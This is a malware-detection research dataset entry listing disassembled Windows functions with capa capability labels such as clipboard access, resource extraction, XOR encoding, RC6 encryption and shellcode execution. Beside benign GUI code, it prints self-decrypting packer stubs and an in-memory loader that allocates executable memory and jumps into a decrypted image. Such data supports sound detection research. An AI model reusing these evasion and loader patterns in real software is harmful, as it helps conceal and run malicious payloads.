joyce8/EMBER2024-capa huggingface dataset:
Function at 0x435590
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a6418
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
push esi
mov esi, ecx
call fcn.0042fe90
test eax, eax
je 0x435698
lea ecx, [esp + 0xc]
call fcn.00406660
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x34]
push eax
mov eax, dword [esp + 0x34]
push ecx
push edx
lea ecx, [esp + 0x18]
push eax
push ecx
mov ecx, esi
mov dword [esp + 0x3c], 0
call fcn.0042fe90
mov ecx, eax
call fcn.0042d560
test eax, eax
je 0x43567f
mov eax, dword [esp + 0x1c]
test eax, eax
mov ebp, eax
je 0x43567f
push eax
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x43567f
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
neg esi
push edi
push ebx
sbb esi, esi
and esi, edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, ebp
mov edi, eax
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
call fcn.00406860
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
pop edi
jne 0x435661
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x43567f
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [0x71d760]
push ebx
and eax, 0xffff
push eax
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0xc], 0x6e14a8
call fcn.00406860
mov ecx, dword [esp + 0x20]
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0x10
Function at 0x4356e0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, ecx
call fcn.0042fe90
test eax, eax
je 0x4357cf
mov ecx, edi
call fcn.0042fe90
mov ecx, eax
call fcn.0042d410
test eax, eax
jne 0x4357cf
push eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4357cf
mov eax, dword [0x71d760]
and eax, 0xffff
push eax
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
jne 0x435742
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc
lea ecx, [esp + 0x10]
mov ebp, dword [esp + 0x24]
push 1
push ecx
mov ecx, dword [edi + 0x44]
lea edx, [esp + 0x1c]
shr ecx, 4
lea eax, [esp + 0x20]
push edx
mov edx, dword [esp + 0x2c]
and ecx, 1
push eax
push ecx
push ebp
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
mov ecx, edi
call fcn.0042fe90
mov ecx, eax
call fcn.0042d640
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x28]
mov eax, 1
cmp ecx, eax
jne 0x4357cf
cmp ebx, eax
jne 0x4357cf
cmp dword [esp + 0x10], eax
jne 0x4357b5
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0xcc]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [edi]
push eax
mov eax, dword [esp + 0x24]
push ecx
push ebp
push eax
mov ecx, edi
call dword [edx + 0xc0]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc
Function at 0x438410
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a66a8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x438449
inc eax
mov dword [esi + 0x10], eax
jmp 0x43855c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x43845d
mov eax, 0xffffffc7
jmp 0x43855e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x43846e
cmp dword [esi + 8], eax
jne 0x43845d
cmp dword [esi + 8], eax
jne 0x438487
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x438487
mov eax, 0xffffffc7
jmp 0x43855e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x43849b
push eax
mov ecx, ebx
call fcn.00437c40
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00406660
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x4384cc
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00406680
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.004373b0
test eax, eax
mov dword [esp + 0x38], eax
je 0x4384ff
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x6e14a8
call fcn.00406860
mov eax, dword [esp + 0x38]
jmp 0x43855e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00438270
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x438543
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.00438290
mov esi, eax
test esi, esi
jne 0x438573
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00438270
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x438515
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x6e14a8
call fcn.00406860
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x6e14a8
call fcn.00406860
mov eax, esi
jmp 0x43855e

Function at 0x43b7d0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x43b830
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x43b830
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x43b830
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x43b830
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x43b870
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x459dd7
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a7d16
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
lea ecx, [esi + 0x14]
call fcn.00494d44
mov eax, dword [0x70c480]
xor edi, edi
mov dword [esp + 0x18], edi
mov dword [esi + 0x48], eax
mov ebx, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
cmp ebx, edi
mov byte [esp + 0x18], 1
mov dword [esi], 0x6e5f84
mov dword [esi + 4], edi
mov dword [esi + 8], ecx
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
je 0x459e34
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call fcn.00495e62
add esp, 4
mov dword [esi + 4], eax
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x10]
or eax, 0xffffffff
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x4c], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x470250
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a90f0
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.004a0537
mov edi, dword [eax + 0xc]
xor ebp, ebp
cmp edi, ebp
jne 0x470283
xor al, al
jmp 0x4703af
mov ebx, dword [esp + 0x28]
push 0xf1
and ebx, 0xffff
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebp
jne 0x4702a5
xor al, al
jmp 0x4703af
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebp
jne 0x4702b8
xor al, al
jmp 0x4703af
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
cmp edi, ebp
jne 0x4702cc
xor al, al
jmp 0x4703af
xor eax, eax
xor ecx, ecx
mov ax, word [edi + 2]
push ebp
mov dword [esi + 0x14], eax
xor eax, eax
mov ax, word [edi + 4]
mov edx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
mov cx, word [edi + 6]
push ecx
push 5
push eax
push edx
lea ecx, [esi + 0x1c]
call fcn.00494178
test eax, eax
jne 0x470300
xor al, al
jmp 0x4703af
mov eax, dword [esi + 0x34]
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetBkColor]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 0x6e6fc4
mov dword [esp + 0x20], ebp
call fcn.004a0537
mov eax, dword [eax + 0xc]
push ebx
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
lea ecx, [esp + 0x14]
call fcn.0049d03d
mov edx, dword [esp + 0x14]
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0x10]
push 0xc0c0c0
neg eax
sbb eax, eax
and eax, edx
push eax
push ecx
call dword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
lea ecx, [esp + 0x10]
call fcn.0049d094
xor ecx, ecx
lea ebx, [edi + 8]
cmp word [edi + 6], cx
jbe 0x470394
mov ax, word [ebx]
test ax, ax
je 0x470386
mov edx, ecx
inc ecx
mov dword [esp + 0x28], ecx
push eax
push edx
mov ecx, esi
call fcn.004703d0
mov ecx, dword [esp + 0x28]
xor edx, edx
inc ebp
mov dx, word [edi + 6]
add ebx, 2
cmp ebp, edx
jl 0x47036a
mov dword [esp + 0x10], method.CGdiObject.virtual_0
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 1
call fcn.0049d094
mov al, 1
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 4

Function at 0x470910
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x50
push esi
mov esi, dword [esp + 0x58]
push edi
push eax
mov ecx, esi
call fcn.0049e729
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x470956
lea ecx, [esp + 8]
push 0x50
push ecx
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [esp + 8]
push edx
call fcn.00484ab8
mov ecx, dword [esp + 0x68]
add esp, 4
pop edi
mov dword [ecx], eax
pop esi
add esp, 0x50
ret 0xc
mov edx, dword [esp + 0x64]
lea ecx, [esp + 8]
mov eax, dword [edx]
push eax
push 0x706bbc
push ecx
call fcn.004861a2
add esp, 0xc
lea edx, [esp + 8]
push edx
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop edi
pop esi
add esp, 0x50
ret 0xc
Function at 0x498523
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x49855b
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004965c8
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004965a0
jmp 0x498567
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x499d22
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x499d64
call fcn.004a0537
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x499d64
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x499d5b
xor eax, eax
jmp 0x499d6c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00499d72
pop edi
pop esi
pop ebx
ret 4

Function at 0x4a0a67
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4a0a95
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4a0ab3
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004a09cd
jmp 0x4a0ab3
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4a0ab3
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004a09cd
test edi, edi
mov eax, edi
jne 0x4a0a9d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x44fef1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4b8bd0]
jne 0x44fefb
repz ret
jmp fcn.00456e86

Function at 0x45f021
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4b8bd0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004579e7
and dword [ebp - 0x14], 0
cmp dword [0x4bb44c], 0
mov dword [ebp - 0x18], eax
jne 0x45f0d4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x45f17c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x45f17c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4bb44c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4bb450], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4bb454], eax
call edi
push eax
call esi
mov dword [0x4bb45c], eax
test eax, eax
je 0x45f0d4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4bb458], eax
mov eax, dword [0x4bb458]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x45f12d
cmp dword [0x4bb45c], ecx
je 0x45f12d
push eax
call esi
push dword [0x4bb45c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x45f12d
test ebx, ebx
je 0x45f12d
call edi
test eax, eax
je 0x45f124
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x45f124
test byte [ebp - 8], 1
jne 0x45f12d
or dword [ebp + 0x10], 0x200000
jmp 0x45f160
mov eax, dword [0x4bb450]
cmp eax, dword [ebp - 0x18]
je 0x45f160
push eax
call esi
test eax, eax
je 0x45f160
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x45f160
mov eax, dword [0x4bb454]
cmp eax, dword [ebp - 0x18]
je 0x45f160
push eax
call esi
test eax, eax
je 0x45f160
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4bb44c]
call esi
test eax, eax
je 0x45f17c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x45f17e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044fef1
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x29812c31
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x12f62bbc
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x1001000
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + 8]
sub edx, dword [ecx + 0xac]
push ebx
push ebp
mov ebp, dword [eax + 4]
push esi
mov esi, dword [eax]
sub esi, dword [ecx + 0xa8]
add ecx, 0xa0
push edi
mov edi, dword [eax + 0xc]
mov dword [esp + 0x14], 0x13
mov dword [esp + 0x10], ecx
mov eax, edi
mov edi, edx
mov edx, ebp
mov ebp, esi
mov esi, eax
push ebp
mov eax, ebp
call fcn.01001900
mov ebx, eax
push edi
mov eax, edi
rol ebx, 5
call fcn.01001900
mov ecx, dword [esp + 0x10]
sub edx, dword [ecx + 4]
rol eax, 5
mov cl, bl
ror edx, cl
mov ecx, dword [esp + 0x10]
sub esi, dword [ecx]
sub dword [esp + 0x10], 8
xor edx, eax
mov cl, al
mov eax, dword [esp + 0x14]
ror esi, cl
dec eax
mov dword [esp + 0x14], eax
xor esi, ebx
test eax, eax
jge 0x1001034
mov ecx, dword [esp + 0x1c]
sub ebp, dword [ecx]
mov eax, dword [esp + 0x20]
sub edi, dword [ecx + 4]
mov dword [eax], esi
mov dword [eax + 0xc], edi
pop edi
pop esi
mov dword [eax + 4], ebp
pop ebp
mov dword [eax + 8], edx
pop ebx
add esp, 8
ret 8

Function at 0x10013c0
Capabilities:
Encrypt data using rc6

Disassembly:
sub esp, 0x1d0
push ebx
push ebp
push esi
xor ebp, ebp
xor ecx, ecx
push edi
xor eax, eax
movzx esi, byte [ecx + edx]
shl eax, 8
inc ecx
or eax, esi
test cl, 3
jne 0x10013e9
mov dword [esp + ebp*4 + 0xe0], eax
inc ebp
xor eax, eax
cmp ecx, 0x10
jb 0x10013d0
mov dword [esp + 0x18], 0xb7e15163
mov eax, 1
jmp 0x1001400
mov ecx, dword [esp + eax*4 + 0x14]
sub ecx, 0x61c88647
mov dword [esp + eax*4 + 0x18], ecx
inc eax
cmp eax, 0x2c
jb 0x1001400
mov eax, 0x2c
cmp ebp, 0x2c
jb 0x1001420
mov eax, ebp
lea eax, [eax + eax*2]
xor edi, edi
xor esi, esi
xor edx, edx
xor ebx, ebx
test eax, eax
jbe 0x1001484
mov dword [esp + 0x10], eax
jmp 0x1001439
mov edx, dword [esp + 0x14]
mov eax, dword [esp + esi*4 + 0x18]
add eax, edx
add eax, ebx
rol eax, 3
mov dword [esp + esi*4 + 0x18], eax
mov ebx, eax
mov eax, dword [esp + edi*4 + 0xe0]
add eax, edx
add eax, ebx
mov cl, bl
add cl, dl
rol eax, cl
xor edx, edx
mov ecx, 0x2c
mov dword [esp + edi*4 + 0xe0], eax
mov dword [esp + 0x14], eax
lea eax, [esi + 1]
div ecx
lea eax, [edi + 1]
mov esi, edx
xor edx, edx
div ebp
sub dword [esp + 0x10], 1
mov edi, edx
jne 0x1001435
mov edi, dword [esp + 0x1e4]
mov ecx, 0x2c
lea esi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1d0
ret 4
Function at 0x100177d
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edi, edi
cmp eax, edi
je 0x10018f3
mov dword [0x10184e4], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
lea eax, [esp + 0x20]
call fcn.01001710
mov esi, eax
cmp esi, edi
jne 0x10018f6
mov eax, dword [esp + 0x20]
mov esi, str.2
cmp eax, edi
je 0x10017cc
push esi
call fcn.0100190d
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push eax
push dword [0x100401c]
push esi
call fcn.010014a3
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, eax
cmp esi, edi
jne 0x10018e4
push dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
call fcn.01001520
and eax, 0xffff
cmp eax, 0x1000
jne 0x10018e1
mov eax, dword [0x1005028]
cmp eax, 0x60519d17
je 0x10018e1
mov eax, dword [0x1008038]
cmp eax, 0x6e589d17
je 0x10018e1
lea eax, [esp + 0x10]
push eax
push dword [0x100803c]
push 0x1008040
call fcn.01001b03
mov esi, eax
cmp esi, edi
jne 0x10018e4
mov ecx, dword [esp + 0x10]
push 1
call fcn.01001534
cmp eax, edi
je 0x10018cf
mov eax, dword [eax]
add eax, dword [esp + 0x10]
push edi
push dword [esp + 0x34]
push dword [esp + 0x2c]
push dword [esp + 0x34]
push dword [esp + 0x3c]
push dword [esp + 0x28]
push dword [esp + 0x30]
push dword [0x100502c]
push 0x1005030
call eax
mov esi, eax
cmp esi, edi
jne 0x10018cf
lea eax, [esp + 0x1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
cmp esi, edi
jne 0x10018cf
mov ecx, dword [esp + 0x10]
push 2
call fcn.01001534
cmp eax, edi
je 0x10018c2
mov eax, dword [eax]
push dword [esp + 0x1c]
add eax, dword [esp + 0x14]
call eax
push dword [esp + 0x1c]
push edi
push dword [0x10184e4]
call ebx
push 0x8000
push edi
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10018e4
push 0xb
pop esi
push dword [esp + 0x34]
push edi
push dword [0x10184e4]
call ebx
jmp 0x10018f6
push 8
pop esi
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1001b03
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0xc
push ebx
push esi
push edi
jb 0x1001bc0
mov ecx, dword [ebp + 8]
call fcn.0100139f
mov esi, eax
test esi, esi
je 0x1001bc0
push 0x40
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x1001bb6
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push ebx
call fcn.010011b5
mov edx, eax
test edx, edx
je 0x1001b9f
mov esi, dword [ebx + 0x3c]
add esi, ebx
lea ecx, [esi + 0x80]
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
add eax, ebx
push edx
call fcn.01001990
mov edi, eax
test edi, edi
jne 0x1001ba6
lea eax, [esi + 0xa0]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
add ecx, ebx
push ebx
call fcn.0100163a
mov esi, dword [esi + 0x28]
push edi
push 1
add esi, ebx
push ebx
call esi
test eax, eax
je 0x1001b95
mov eax, dword [ebp + 0x10]
mov dword [eax], ebx
jmp 0x1001bc3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1001ba2
push 0xb
pop edi
test edi, edi
je 0x1001bc3
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1001bc3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1001bc3
push 0xb
pop edi
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 0xc